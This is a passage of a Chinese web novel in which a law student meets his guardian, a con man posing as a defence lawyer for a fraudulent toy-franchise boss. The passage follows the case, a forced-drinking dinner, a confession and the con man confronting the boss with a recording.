公司地点开在豪华的写字楼上,光看地段就很繁华,怪不得有这么多受害者被骗。 周颂上车之后接了个电话,电话里说辩护方的律师刚好今天也在。 周颂说了句行。 他们上了楼,去了公司的会议室。 到的时候,会议室里还没有人,秘书说需要再等一会,老板在开会。 话是这么说,其实不过就是想给对方一个下马威。 周颂好脾气地说了一声好。 几个人等了半个小时,对方才姗姗来迟。 老板是个四十多岁的中年男人,一副高高在上的样子,一进门客套话都没讲,直接道:“你们给我的辩护律师说吧。” 接着,楼道里一道脚步声不紧不慢地进来,然后对着众人缓声道:“不好意思,久等了。” 声音温雅好听,听起来格外绅士又有礼貌。 陆离原本垂着眸子,听到声音顿时一怔,猛然抬头,望进了一双棕色的眸子里。 傅生显然也没有想到地在这里遇到陆离,眼睛里愕然了一瞬间,不过很快就被他压了下去,笑着说:“介绍一下,我是陈振兴先生请的辩护律师。我叫陆合。” 陆离:“” 骗子。 他瘫着脸听完傅生笑着和周颂拉扯。 那放松的模样,活像他就是真的律师。 “我们不接受赔偿,”傅生面带微笑,“直接走起诉流程吧。” 这话明明说得格外欠揍,但在傅生嘴里说出来,还显得挺温雅好听。 只有陆离的脸更瘫了几分。 公司老板陈振兴看起来对自己律师非常满意,对着周颂一干人道:“听到了吗我的辩护律师说的,送客。” 周颂本来对于这次谈判就没抱多大希望,带着他们下楼的时候,他看向陆离说:“你看起来不高兴?” 陆离目光在不远处傅生身上扫过,公司老板虽然对他们态度不算好,却对傅生很是客气。 大概是因为,打官司的时候,指望着辩护律师带着他赢。 不过显然指望错了人。 毕竟骗人精不会真的开庭帮他去打官司。 陆离收回目光:“没有。” “是吗。”周颂向来有边界感,就没有多问,“现在去城中村去送他们,你还跟着去吗?” 陆离原本是要去的,抬眸的时候刚好看见傅生下楼。 他说:“我还有点事。” 周颂说:“行,那我先去。” 陆离:“嗯。” 傅生下楼的时候吗,刚好看见陆离冷着脸站在拐角,看起来已经是在等他。 刚走过去,便听陆离冷着一张雪白的俊脸看着他,清凌凌地道:“陆合。” 傅生顿时笑了:“没大没小的叫谁呢?” 陆离:“叫你。” “胆子肥了?连我都打趣,”傅生在周围看了一圈,“和你一起来的人呢。” 陆离以为傅生最起码会给他解释一下为什么会出现在这里。 但对方又熟练地转开话题。 他抿了一下唇说:“走了。” 说完的,他沉默了几秒,倏然看向傅生:“这次在这边待多久。” 傅生目光从他脸上扫过,片刻才说:“不一定,忙完就走。” 陆离动了动唇,看起来还想问什么。 傅生并不想自己影响或者耽误陆离,更何况这次两个人竟然在同一个案子里,他转开话头,看着写字楼旁边的高档餐厅说:“出来这么久,饭还没来得及吃。” 这明显的装聋作哑让陆离的唇线抿得更紧了。 他站着不动。 傅生当然了解陆离的脾气,看上去不吭声,其实特别执拗。 片刻,傅生叹了一口气,转身说:“行了,别绷着脸了,先陪我吃个饭,我是真饿了。不然饿晕了你真的得背着我去医院。” 陆离看了他一会,最终在傅生弯着的眼睛软了下来一点:“吃什么?” 两个人进了附近一家价格看起来格外昂贵的餐厅。 傅生向来点餐不眨眼,而且对于陆离的口味了如指掌。 在别人还在看菜单的时候,他就已经把菜都点好了。 服务员一走,两个人周围又静了下来。 傅生张了张唇,想要说些什么。 陆离垂着眸子突然开口说:“住哪里?” 傅生原本以为他会问些别的,愣了几秒才说:“附近酒店。” 陆离嗯了一声。 傅生坐了一会儿,看着对面的人开口:“其实我刚来的时候,去了你们学校,门卫说学校里没有学生了。” “放假学生不让留校,”陆离闷声说。 傅生靠在椅背上,动了动唇:“今天——” “师弟,你也在这里吃饭?” 傅生一顿,身后传来一道声音,听着很熟悉,应该是就在刚才就听到过。 果不其然是控方律师。 不过这个称呼让他眉挑了一下。 周颂走了过来,却在看清楚傅生的模样时,惊讶道。 “原来你们认识?” 陆离抬头喊了一句:“师兄。” 傅生闻言,眼皮动了一下,不过又很快恢复。 周颂看着人说:“这位是——” 陆离停顿了几秒,莫名地有些不太想说是他哥这个词,这个称呼是很亲近,却不是他想要的亲近。 他的手指在杯子扶手上转了一圈,刚想开口时候,听着傅生道:“我是他——家里人。” 陆离抬眼,对于这个称呼,有些意外。 周颂哦了一声。 也没多想,他是一个人来的,另坐一桌也没有意思,就自然而然坐在了一起。 周颂对于这个师弟还挺喜欢,尤其是接触之后,他大几岁,所以就喜欢多照顾人一些。 陆离杯子空了,他会自然的给他续上。 手边的餐巾纸,也习惯性地递过去。 陆离话少,但是该有的礼貌还是有的,会冷淡地回上一句:“谢谢师兄。” “陆合先生,之前没太见过你。”周颂顺口提了一句。 陆离挺到这个称呼,脸色有些复杂,却也没说话。 傅生说:“嗯,之前不太来南宁。” 他的声音压得很低,乍一听有些冷淡,和平时里总是笑着的样子完全不一样,以至于一直半垂着眸子的陆离抬头看了他一眼。 周颂却没觉察出别的:“我就说呢,陆先生这样的青年才俊若是在北川,我不可能没听过。” 几个人吃完饭已经将近八点。 出了餐厅之后,周颂拿着车钥匙站在门口说:“用不用我送你们回去?” 两个人几乎同时开口。 傅生说:“不用,谢谢。” 陆离:“不用。” 可能觉得两个字太冷淡,他又冷着嗓音加上一句:“师兄。” 周颂摊了一下手:“那好吧。” 他拐了车,摇下玻璃冲着二人招手:“那我先走了,明天见师弟。” 这条街上人少,车子很快就看不见影。 “师兄,”傅生哼笑一声。 他看着陆离,看起来和平时逗人没什么两样,却在眼尾挑了点不悦的冷淡:“平时喊哥的时候,怎么没这么热情。” 从来就没热情过的陆离:“?” 他看着傅生转身的背影颦眉,片刻才从那点不悦中品出一点吃味来。 陆离撩着眼皮,手指蜷了一下。 第0045章 第 45 章 ◎“妄念。”◎ 陆离愣了须臾, 看着前方冷淡的身影,快走了几步。 一直到了走到了酒店门口,傅生才停了脚步, 扭头看着陆离:“之前说学校放假不让留宿, 你现在住哪?” “公寓。”陆离看了他一眼。 傅生嗯了一声:“我给你打个车?” 陆离没回话, 他看着傅生的手指在屏幕上点了几下, 张了张唇:“你其实可以住——” “打到了。”傅生抬头, 没有听清楚的陆离的话,“你刚才说什么?” “没什么。”陆离捻了一下手指。 他其实想说傅生可以住他那里,但他又知道就算是说了,傅生也不会去。 傅生站在门口,南宁这边的温度要比北川要低一些, 呼吸的时候眼前就像是盖着一团雾气。 “刚才的那位周什么。”傅生开口,没想起来的对方的名字, 全程就记住了那个人笑眯眯地喊师弟的样子。 他状作不经意地问道, “看起来对你挺照顾。” “嗯,”陆离眸光盯着自己指尖,“是导师之前的学生, 这次和学校项目合作的负责人就是他。” “哦。”傅生回了一句。 两个人沉默了片刻, 打的车已经到了。 司机停在路旁按了两声鸣笛。 陆离素白的手按着车门, 回头看着傅生说:“我走了。” 傅生目光落在他黑色的大衣上,他个子本来就高, 显得冷淡而稳重, 尤其是垂着目光看人的时候。 时间真的是个好东西。 可以将一个人变得面目全非。 也可以让一个人长成他原本该有的模样。 傅生一眨眼,仿佛趁着课间跑回来给自己送橘子的少年还是昨天的事。 只是两个人如今却比当时疏离了不少, 又像是在疏离之外多了一些其他东西。 “嗯, ”傅生收回思绪, “回去之后给我发了消息。” 陆离嗯了一声,说:“行。” 直到车子驶出酒店门,陆离的目光落在后视镜上,直到看不到后面人才收回了眼。 司机瞥了他一眼。 他们每天的工作只有车子这一小段空间,每天乐趣就是和乘客聊天。 “刚才的是朋友?来南宁玩?” 陆离:“嗯。” 司机说:“南宁这边好玩确实多,这不是情人节快到了,游乐场那边最近还开了一个对情人特别开放的摩天轮。” 他絮絮叨叨地说着,可能看着陆离垂着眼,没太有兴趣原因,又把话题引到了他身上:“小伙子谈了女朋友了吗?到时候可以带着女朋友去那边溜达一圈。” 陆离没说话。 “现在景点就会搞这些噱头,说是只要是情侣坐过他家的摩天轮,会永不分手,生生绑定。” 陆离原本垂着眸子看着窗户外,听到司机的话皱了一下眉。 生生绑定。 他突然开口说:“那两个人如果是同一个人呢?” 司机扭着方向盘,一时间没有搞明白是什么意思,他捋了捋才估摸着开口说:“如果我没有理解错的话,你说的意思是自己给自己谈恋爱?” 陆离看向司机。 司机哈哈哈笑了两声:“小伙子你这个思路很独特啊,你是写小说的吗?自己怎么可能给自己谈恋爱?是每天站在镜子面前看着自己的脸说你真帅,我爱你吗。” 他一边说着,一边自己都忍不住笑。 陆离被他形容的画面麻了一下。 他瘫着脸想,他真是疯了才和司机谈论这个。 下了车回到公寓,他给傅生发去了一个消息。 陆离:到了。 傅生:嗯。 傅生:早点休息。 陆离看着两个人的聊天页面,又想起傅生回酒店之前的异样,他捏着手机愣了几秒。 可这些还不够。 当时之所以选择改了志愿,就是怕自己对傅生的那些隐秘的心思一旦被捅开,两个人会连现在的关系都维持不下去。 连司机大叔都觉得自己爱上自己这件事可笑。 那傅生呢。 傅生正笑得像个大尾巴狼看着陈振兴带着他参观他们公司的样品板房。 房间被装饰得非常漂亮,高端大气有品位,里面的货架子上摆着各种品牌的玩具。 “每次有加盟商上门,我就将人领这里来看,”陈振兴一脸得意地说道,“我们的样品房做得不错吧。” 傅生敷衍地夸赞:“不错。” 陈振兴又说:“那群蠢蛋,只要一看到我们的样品房,绝对会乖乖地掏钱。都不调查清楚就签合同,他们自己蠢怪谁。” “陈老板奋发有为,”傅生保持微笑说,对着眼前比他还不要脸地人说,“不然也不会将公司开这么大。” “现在还有脸告我,他们自己眼瞎,样板房的样板玩具都是一顶一的品牌,他们也不动动自己的猪脑子想一想,这么好的东西怎么可能就要给他们几万块钱的加盟费。还不是自己贪小便宜。” 傅生眸光冷了几分。 这种骗局他见过不少,这种公司可以说没有几家是良心,样品房的玩具的质量和加盟商拿到的质量可以说是两模两样。 不过大部分的公司只是质量差点,但是陈振兴为了将账面利润扩到最大,发的货源都是没有经过市场检验的有毒材料。 玩具的用户大部分都是几岁的小孩。 傅生面色不变地,“嗯。确实这样,所以每个人做的选择都最终会自己承受代价。” 陈振兴被说的肉眼可见地开心起来,伸手想在傅生肩膀上拍一下,被傅生不动声色地躲了过去。 就在这时,他兜里电话响了几声。 是周颂打来的。 里面的内容傅生没有听到,片刻,等陈振兴挂了电话他才问道:“对方律师找你还有什么事?” “他们约我今天晚上在蓝星酒店吃饭,”陈振兴一脸不屑,“哼,还不是想要赔偿,放心那群穷光蛋拖不了多长时间,更何况这种就算是上了法庭打官司,他们也很难打赢。” 傅生垂了一下眼睛。 陈振兴说得没错,加盟之前都是签了合同。 白纸黑字,合同在这里放着。 他们也就是骗小县城的穷苦人对于纸质合同不太懂。 “陆律师,陆律师?”陈振兴喊了好几声。 傅生对这个胡诌的名还不太深刻,对方喊了好几声,他才意思到陆律师叫的是自己。 “抱歉,”傅生笑着看他,“你刚才说什么?” 陈振兴对于傅生没有听他讲话这件事有些不悦,他皱着眉说:“我问你一会要不要跟我去蓝星酒店。” 傅生对于这种酒场没有丝毫的兴趣,客气道:“我就不去了,晚上还有些事。” “行吧,”陈振兴说,“那剩下的事下次再说。” 傅生说:“行,随时联系。” * 周颂原本没有打算让陆离跟着去,像陈振兴这种人太难缠,尤其是现在他们还是求他办事,但是看着陆离执意,他也就没再说话。 “我和你差不多大的时候,天天就知道窝在宿舍打游戏,”周颂笑着说,“你这么小小年纪,怎么事业心就这么重了。” 陆离垂着眸子没说话。 周颂差不多已经摸清陆离的脾气了,也不在意。 他们到达蓝星酒店的时候,差不多六点,陈振兴还是像之前一样摆谱,到了八点钟才到。 “陈总。”周颂看着人到了,伸手过去。 陈振兴只是低头看了他一眼,就径直地走到了中间的座位上,只留下周颂一个人伸着手在原地。 他的助理很显然遗传了陈振兴的见风使舵,抬着下巴说:“我们陈总很忙的,有什么事快点说。” 周颂也不介意,自然的收回手:“那我们边吃边聊。” 服务员已经开始上菜。 周颂倒了杯酒站起来,开门见山地说:“陈总,其实咱们也不是非要走到起诉这条路,有事可以协商,这样你看行不行,加盟费就退一半,您也不算吃亏。” “一半?”陈振兴像是听到了什么好笑的事,“你们是当我好骗还是好欺负。我凭什么要退?” 周颂说:“陈总,你这么说就没意思了。” “没意思?”陈振兴笑了一声,“当初签合同可不是我逼着他们签的,吃了别人家的东西非要再让人把钱还回来,没这个道理吧。” 陆离冷着声音说:“吃到了恶心的东西,难道还全部吃下去?” 闻言,陈振兴瞬间黑了脸:“你说谁恶心?” 周颂起身,拿着酒走过去:“别上火陈总,我们这次是来和平解决问题的。” “和平解决,”陈振兴看了一眼旁边陆离,冷笑了一声,“行啊,想要和平解决也行。” 他指了指桌子上的酒杯,看了看陆离:“那个毛小子今天把桌子上这瓶酒全喝了,我就考虑给他们退钱的事。” 周颂脸色也沉了下来,却还是强压着脾气:“这样就过分了,陈总。” 陈振兴抱着胳膊:“过分?我没觉得过分啊,喝不喝在你们。不喝也行,咱们接下去就没有谈的必要了。” 陆离目光在酒瓶上扫了眼,想起了在城中村住的三十多口人。 须臾,他冷着眸子看向陈振兴:“这是你说的。” 周颂说:“陆离你——” 陈振兴看着这个很明显大学还没毕业的毛小子,决定提前给他点教训:“嗯,我说的。你敢喝吗?” * 傅生给陆离打电话时候,听到周颂声音愣了一下。 他下意识地皱了一下眉:“陆离呢?” “陆离在里面喝酒。一整瓶,陆先生,你要不来一趟?” 周颂将之前的情况给他说了一遍。 傅生脸色瞬间沉了下去。 周颂说:“陆离平时看着不说话,没有想到这么倔,劝都劝不住。” 陆离脾气傅生是知道,他沉着脸,半晌开口:“地址。” 傅生到蓝星酒店的时候,还没进门,就听到陈振兴的声音传出来。 他说:“好酒量啊,不过一瓶喝完了,还差一瓶。” 周颂冷了声:“你之前可就说了这一瓶。” “我说了吗?”陈振兴说,“我记得我说的是这桌子上的酒,这桌子上只有这一瓶酒吗。” 傅生越听脸色越沉,他一把推开门,看着陆离的手有伸向了另一瓶酒。 “他让你喝你就喝?你是傻的吗?”傅生一把抓住陆离的手,压着脾气说。 陆离顿了一下。 抬眸看向突然来的人,半晌开口说:“不傻。” 显然陈振兴也没有想到傅生突然闯进来,“陆律师,你不是说不来吗?” 傅生冷漠地看了他一眼,没说话。 他的助理在旁边插嘴说:“好像不是来找你的老板。” 陈振兴的目光落在傅生和陆离身上打转。 傅生没理他们,垂着眸子,看着陆离问:“喝了多少?” 陆离看了一眼旁边的瓶子。 很好,瓶子已经空了 那点酒量,还敢喝一整瓶。 陆离什么酒量傅生是知道的,他沉着脸,尽量压着自己的脾气。 “难受就先趴会。” 陆离看着他说:“不难受。” 傅生冷眼说:“行,出息了现在。” 陆离不吭声了。 陈振兴看着两个人,皱着眉插进来说:“怎么回事陆律师,你和对面的人认识。” 傅生起身,笑了一声:“陈总,不是要喝酒吗,我今天陪你喝。” 他拿着桌子上的那杯酒走到陈振兴面前,虽然是笑着的,棕色眸子里泛的寒光却让陈振兴愣了一下。 “还喝个屁的酒,你和对面什么关系。” 他话还没说话。 只听砰的一声,那瓶子酒被傅生的手一松,瞬间掉在地上。 玻璃碎片和酒水迸溅了陈振兴一身,尤其是裤子中央那一块。 “哎老板。”助理在旁边吓了一跳。 傅生说:“不是要喝吗?现在喝够了了吗。陈总。” 陈振兴被炸了全身,骂了几句脏话。 他手忙脚乱地起身,完全没有刚才趾高气扬的样子,要多狼狈有多狼狈。 周颂一向是温和解决事情,头一次看见这样的,愣了几秒。 傅生嘲讽地说,“手没拿稳,不过陈总这么爱喝酒,应该不介意。” 陈振兴脸黑成了猪肝色,看着傅生粗着嗓子吼道:“你和他们是一伙的?当初我们可是签过保密协议的,你是想吃官司,还是不想在这行混了?” “协议?”傅生笑了。 陆合签的协议,和他有什么关系。 陈振兴看着傅生无所谓的态度。 他在合同上坑人这么多年,也不是酒囊饭袋之流。 合同的内容是他亲眼看过的,绝对没有问题。 所以出问题的只能是在签字人身上。 他瞪着傅生说:“你不是陆合?你竟然敢骗我。” “还挺聪明,”傅生收了笑,将上午陈振兴说过的话还给他,“不调查清楚就签,还不是说自己蠢呢。” 他转身看向周颂:“既然陈总不是来诚信合作的,也没有继续协商下去的必要了。是吧,周律师。” 说完,他转身出了房间,对于身后陈振兴恶毒的跳脚充耳不闻。 周颂这才缓过神来,刚想叫上陆离,却见陆离竟然已经跟着傅生走了。 平时那么冷淡一个人,此刻看背影竟然有些乖巧。 “陆——” 陆合这个名字是假的。 出了门,周颂刚想说句话,却倏然发现自己竟然不知道对方的名字。 傅生没有多少情绪地说:“傅生。” “傅先生,”周颂组织了一下措辞,“你平时处理事情都这么——” 简单粗暴的吗。 当然,后面那几个字他没好意思说。 傅生却回头瞥了他一眼,不冷不热地说:“周律师,你们律师所都需要在校学生当酒场主力?” 他说话向来给别人留一线,今天这种直来直去很少见。 一句话把周颂问得哑口无言。 周颂有些抱歉地说:“这次确实是我考虑不周,我抱歉。” 一直没有说话的陆离在一旁冷着嗓音突然开口:“是我自己要喝。” “你的事我还没给你算账,”傅生的眸子更沉了,转眸看向陆离:“等回去再收拾你。” 陆离抬头,盯了傅生几秒,嗯了一声。 周颂觉得今天的陆离和平时在他身边的不一样,尤其是看向傅生的时候,眼神中的冰像是热了几分。 他干站在一旁,不知道为何突然觉得自己有些多余。 咳了一声掩饰尴尬,周颂开口:“要不我送你们回去?” 其实他说出这句话已经做出被拒绝的打算了,却没有想到傅生看了他几秒:“那就有劳周律师了。” 周颂愣了一下,连忙道:“没事没事。” 上了车之后,周颂在前边问:“咱们去哪?” 陆离本来话就少,喝了酒之后,话就更少了。 他此时垂着眸子靠在窗户边。 傅生伸手在他眼前晃了一下:“地址,酒鬼。” 下一秒,手就被某个酒鬼抓住了。 陆离抬着眸子看着傅生:“你去我那里?” 傅生哼笑了一下:“不然呢,留你一个酒鬼自己?” 车外的灯光在陆离眸子里闪了一下,他抓着傅生的手指,须臾冷着声报了个地址。 “啊,”周颂不知道为什么,从刚才两个人对话的时候,就觉得脸有点热,“那个,行。” 直到两个人下了车,那点热意才像是散去了。 他向后瞥了一眼,这一瞥不要紧,眼睛差点给他吓掉。 两个人的手是牵着的吧?是牵着的……吧。 …… 傅生进了公寓,目光看了一圈。 里面的生活用品一应俱全,很显然不是只出来住两天的架势。 “什么时候搬出来?”傅生看着陆离问。 陆离喝了酒之后,眸子喜欢垂着,像是看什么,却又没有固定的点。 他片刻才说:“大一。” 傅生有些意外,不知道陆离这么早就搬出来了,却也没有多问。 他抬起手,看着陆离修长素白的手指依旧抓在他手上,有些好笑地问。 “还想抓多久。” 陆离抬眸看他,却没有松开。 傅生也不介意,靠在复试的楼梯上,准备和眼前的人算算账。 “陆离,是谁告诉你这些事要这么解决?” 陆离没说话。 傅生看着人继续说:“说吧,今晚为什么让周颂将我叫过去。” 他从蓝星进屋,看到桌子上的酒的时候,就知道是这小子故意的,甚至把他和他那位师兄都算计进去了。 他知道自己一定给他打电话。 也知道这件事以后,他绝对会和陈振兴撕破脸。 毕竟陆离的性格,对于陈振兴这种人,就算说破了嘴,也不可能让他灌自己一大瓶酒,还这么听话的就喝进去了。 陆离垂着眸子不说话。 傅生气笑了:“这是借着酒劲装傻?” 陆离静默片刻,才低着声音开口:“之前一直做一个梦。” 傅生眼皮撩了一下:“什么梦。” 陆离:“梦到你因为骗人被抓了。” 他少时经常做这个梦,每次醒来之后,就再也睡不着了,所以高三填报志愿的时候,报了法律专业。 他不想阻拦傅生什么,但他想至少可以成为傅生身后的一把伞。 这次也是,他不想傅生搅进陈振兴这种人渣的事里。 傅生愣了一下,怎么也没有想到是这个理由。 他以为是陆离不想和他在一个案子里,所以才这样做。 “这是什么傻梦,”他轻笑了一下说,“你就是天天这么想我的?不想我点好?” 陆离看着他,眸眼固执。 只是灯光下,那双黝黑的瞳孔像是蒙着一层玻璃,看的人心里莫名的发软。 傅生刚开始还挺生气,生气陆离拿自己做筹码,但现在他看着眼前的人,听他说这些话,那些生气倏然散了。 傅生无奈地摇了摇头,这辈子就只在这么一个人身上一退再退。 他放缓声音说,“我都和陈振兴摊牌了,不会被抓了,现在可以放手了吧。喝了这么多酒,不喝点水想干死自己?” 陆离这才松开手。 傅生走到客厅给他倒了一杯水,又拿回来递给他,陆离目光却自始至终都落在他身上。 他发现陆离每次喝了酒之后,都会变得有些黏人,他由着陆离看了一会。 可能是这样寂静的环境总是想让人说些什么,傅生在楼梯上靠了须臾,开口说:“今年不回家过年也是因为这件事?” 陆离说:“不是。” 傅生看向他:“那是因为什么?” 陆离又不说话。 “又变哑巴了?”傅生笑了一声。 不知道是不是酒精作用,陆离原本垂着眸子突然抬眸看向他,里面似乎有什么情绪在翻滚。 他低声问:“真的想知道?” 放在以前,傅生可能笑着转开话题了,但今天可能是夜色太浓了,导致他莫名生出一些别的什么,所以沉着声道:“嗯。说说看。” 他注视着那双眼睛。 那双眼睛像是寒潭里的浓墨,须臾那片浓墨沉了下来。 陆离低头,吻落在他唇上。 傅生微愣。 感受落在自己唇上的温度,温凉,又夹着点酒后的热意。 片刻,陆离才错开须臾,然后低着声说:“因为——妄念。” 【作者有话说】 [三花猫头][三花猫头][三花猫头] 第0046章 第 46 章 ◎以后你就要和自己纠缠不清了。◎ 他的妄念, 不是因为傅生就是自己。 而是发现他是自己之后,他依旧喜欢得要命。 陆离第二天早上醒来的时候,下意识的起身, 看了一圈。 房间里空无一人, 他愣了一下, 眼皮垂了下去。 又走了吧。 他昨天说出那些话的时候, 就已经做好了这个打算。 他手指在眉心的地方捏了两下, 掀开被子起身,拿走了放在床头柜上的手机。 手机上的时间早晨六点,除此之外,没有任何其他的消息。 陆离的眸子暗了下去,果真还是接受吗。 以至于离开得悄无声息, 连个消息都没有留下。 他眼皮垂了下去,洗漱完在沙发上静坐了片刻, 手边的手机这时响了一下。 他先是一愣, 打开一看,却发现是周颂发来的。 周颂:师弟,昨天的喝这么多现在还好吧。 陆离手指按着屏幕回了几句:嗯。 周颂:那就好, 我还一直担心来着。 周颂:咱们今天去城中村那边。 昨天和陈振兴和谈失败, 今天肯定要和城中村的受害者说一下, 让他们做好继续打官司的准备。 陆离垂着眸子,刚想回复的行。 门口门铃响了。 他原本以为是周颂等不及自己去事务所, 所以直接来自己门口接人了, 便垂着眸子过去开门。 门刚打开,他愣了一下。 傅生站在门口, 外面的寒气和人一起进门, 他弯着眼睛说:“忘了问你门上的密码, 不过我估摸了一下时间,觉得你应该醒了。” 陆离站在门口,下意识地开口:“你去干什么了?” 可能因为昨天喝了酒,他的声音有些低哑,眼睛一动不动地看着傅生,像是还没有从昨天醉意中醒过神来。 傅生被他盯得有些好笑:“喝酒喝傻了?” 他提了一下手中的东西,“这么冷的天,你确定要把我堵在门口聊?” 陆离这才侧了一下身子,目光缓慢地落在傅生手上。 原来人没走。 可为什么人没走,陆离感觉自己的大脑像是卡了壳,停止了运转。 傅生将早餐放在桌子上,看着陆离还站在不远处,他手指抵着鼻间抿唇笑了一下,带着打趣地说:“真的傻了吧?过来吃早餐。” 陆离这才走到沙发边,机械地接过傅生递给他的咖啡,喝了半晌,他才有了那种落在实处的真实感。 “昨天我——”陆离开口。 傅生等着他说后话。 结果被傅生看着,陆离就卡了一下。 他捏了一下手指,脱口而出的话就变成了:“昨天在哪休息的?” 傅生笑了,指了指二楼。 “没经过你允许,临时借住一下,我想你应该不介意。” 陆离平时很少去二楼的区域,这才想起来二楼还有一张床。 他嗯了一声,又不说话了。 傅生看着陆离的模样,又起了逗人的心思,他抱着胳膊,棕色的眸子温温沉沉的散着早晨的晨光:“嗯的什么意思?” 陆离垂着眸子,低声说:“昨天——” 这时,门铃又响了起来。 他的声音被门铃声打断,有些不悦的皱眉,平时他在家的时候,这个铃声基本没响过。 但傅生已经起身,朝着门口走了过去。 门前站的是周颂,看到傅生后愣了一下。 傅生站在门口:“周律师?这么早就工作了?” 他说话语调不急不缓,听起来礼貌又绅士,但周颂却隐隐能听出话里的不悦。 “啊,”周颂说,“那个我不知道傅先生您也在。” 他对于昨天的事有些道歉,就买了些水果打算赔礼道歉,顺便接着人一会去城中村。 结果打开门,却看到傅生的脸。 他干笑几声,问:“师弟他醒了吗?” “嗯,”陆离在傅生身后走出来,“是要去城中村吗师兄。” “昂,”周颂咳了一声掩饰尴尬,将手中的水果递过去,“我看你刚才没回消息,还以为你出什么意外了,我是不是来得太早了,要不去车里等你一会?” 陆离说:“没事。” 然后打开了门。 周颂见此也不好说什么,于是跟着人进了门,但是坐在沙发上的那一秒他就后悔了。 因为那位自称陆离家里人的傅先生,先是温和地冲他笑了一下,接着看向他:“周律师,你对于最近那条在校实习生被无良公司压榨私人时间,无休止加班的事情怎么看。” 虽然他没有说一个名字,但周颂觉得这话分明就是意有所指。 先是昨天让陆离喝酒,今天又一大早登门,要带着人去工作。 被这么一说,周颂都觉得自己有无良老板的势头,他掩饰自己尴尬,战术性地喝了一口水:“确实不应该提倡,这种行为违反咱们国家的劳动法。” “是吗?”傅生问,“不知道违反劳动法怎么判?” 周颂呛了一口水, 陆离听着两个人对话,目光停在了傅生脸上。 虽然有些对不起周颂师兄,但傅生话里毫不掩饰地维护还是让他唇角勾了一下。 他知道傅生说话从来都不会将人逼得太过,所以听了须臾,才看向他道:“你一会去哪?” 傅生没好气地看着他:“你说呢?我在南宁又没其他事了。干脆直接买—” 后面的话还没有说完,陆离打断他突然开口道:“要不和我一起去城中村。” 傅生愣了一下,头一次听他这么急的语气。 陆离捏着手指,眸光看着人。 陆离小时候表露情绪的时候,会习惯性地握拳,指尖对着自己的手心,每当松开手,手心都被掐的泛白。 他费了点心思才帮他把这个毛病改了,但又没有完全改掉,长大后成了捏手指骨结。 这一点,除了他没人注意到。 傅生心口像是被羽毛轻轻地挠了一下,后知后觉的才反应过来,陆离这是怕他离开南宁。 他笑了一下说:“你越过老板自己做主了?” 陆离这时才意识到这点,他侧首看向周颂。 “现在傅先生既然已经不是对方委托律师了,”周颂本来就有点抱歉,开口说,“那跟着也没什么问题。” 陆离这时后背紧绷的背才放松下来。 傅生在他背上瞥了一眼,也没有再说别的。 他若是在这里让陆离高兴,他还是愿意哄陆离高兴一点的。 今天的天气不是很好,明明刚才有点放晴了,这会却又开始成了灰尘的天气。 等他们开着车到了城中村时,天上开始下起了小雨。 周颂找了一个地方停车,原本噌亮的车,只不过是这一小段路,上面已经迸溅上了无数的泥点子,看起来像是涂上一层渐变色的灰色油漆。 这里住了30多户的加盟商,都是从小县城来的,他们三个人一过去,一个上了年纪的老太太就迎了过来。 “小周,”她干巴的手指抓着周颂的手说,格外殷切地问,“怎么样,有消息了吗?” 周颂当律师的时间不短,在这种时候却还是不知道怎么回答,这么冷的天,老太太只是穿了一件不知道穿了多少年的薄外套。 “公司那边说,”周颂有些艰难地说,“你们签了合同,所以——” “所以什么,我们的钱是不是要不回来了?我孙子还等着这些钱治病呢,周律师,求求你一定要帮帮我们。”老太太说着,差点跪下去,被周颂强行拉起来。 陆离颦了一下眉,嘴角紧抿在一起。 傅生知道陆离最心软,他伸手在陆离额头上点了一下:“别皱了。” 说完,他向前走了几步,看着三十几家商户说:“还记得自己当时交钱时候,交的是公司的私人账户还是公司账户吗?” 周颂愣了一下,很快就反应过来:“你是说他公司——” “我们也分不清什么是公司账户,什么是私人账户,”一个人说。 傅生说:“还记得账户账号吗?” 有个人说:“我记得,我怕自己忘了,写到本子上了。” “我也记得,我在手机里存着呢。” 很快,很多人翻出来自己当时打钱的账户号,发现他们这么多人的账户号就不相同。 很明显的不是公司的账户。 “不走明面的账,”周颂皱着眉说,“他们这么大个公司竟然敢这么明目张胆的逃税。” 傅生嘲讽地笑了一下,就是越大的公司这种黑账太多,不然他也不会盯上陈振兴。 周颂说:“就算是知道他偷税逃税我们依旧还得走起诉流程,钱依旧要不回来。” 傅生说:“这就看你怎么选择了。” 周颂看向他:“什么意思?” 傅生转了一圈自己手上的的戒指:“看你是想要帮他们把钱要回来,还是想要这个公司受到惩罚。” 周颂愣了一下。 回去的时候只有他们两个人,周颂留在城中村没走。 陆离看向傅生:“你要帮他们?” “嗯?”傅生笑了一下,“我看起来这么像好人吗?” 陆离说:“那你现在去陈振兴的公司干什么?” “昨天走得太匆忙,”傅生说,“还有一点私人恩怨没有解决。” 陆离盯着人看了一会儿,心说了一句骗子。 从傅生过去和城中村百姓说话的那一刻,他就知道傅生要插手这件事了。 “我陪你一起进去。”陆离说。 傅生笑着说:“放你进去再出来一个酒鬼?” 他在陆离紧抿着唇里静默了一会,才接着说:“回公寓等着我,我回去——还有话跟你说。” 陆离看着傅生棕色的眸子,好半晌,才嗯了一声。 * 陈振兴对着公司请到骗子这件事大发雷霆。 “可他当时来的时候,看起来就是那种经验很足的精英律师,各种证件也都有,”助理委屈地解释,“我们还看过他接到的庭审记录,确实没有一点破绽。” “一群蠢蛋,”他上了电梯,破口大骂,“尤其是你,连个骗子都看不出来,要是被其他公司老总知道了,我就不用在圈子里混了。” 助理心说你当时不是也没有看出来,但是他不敢说,只敢畏畏缩缩的跟在后面。 直到走到了办公室门口,陈振兴还在扯着嗓子呵斥:“还跟着我,你没别的事干了是吧。” 助理被骂了一路差点麻了,一听到这句话直接溜了。 陈振兴气冲冲地进了办公室,结果刚进去,他就发现他位置上坐着个人,正坐在他老总专属位置上,背对着他…… “那个部门的,不想干了是吧,这是你能坐的位置?” 陈振兴正在气头上,看到这个更生气了。 他说着走过去,就看到坐着的人慢慢转着办公椅回了头。 傅生坐在老总椅子上,手掌的指尖微碰,姿态优雅地和陈振兴打招呼:“你好,陈老板。” 陈振兴先是愣了一下,瞬间黑沉着脸:“你还敢来?” “我为什么不敢,我这次来是专门给陈老板送点东西的,”傅生坐着不动,鸠占鹊巢地对着陈振兴指了指旁边的座位,“坐下聊。” 陈振兴坑人这么多年,还是头一次见这么脸皮厚的人,差点气得厥过去。他深吸了一口气:“给我滚出去。” 傅生看着他气急败坏的样子笑了一下,手指在录音笔上点了播放。 “我样品房的玩具可没说给他们加盟的时候一样,他们自己蠢受骗怪谁。” 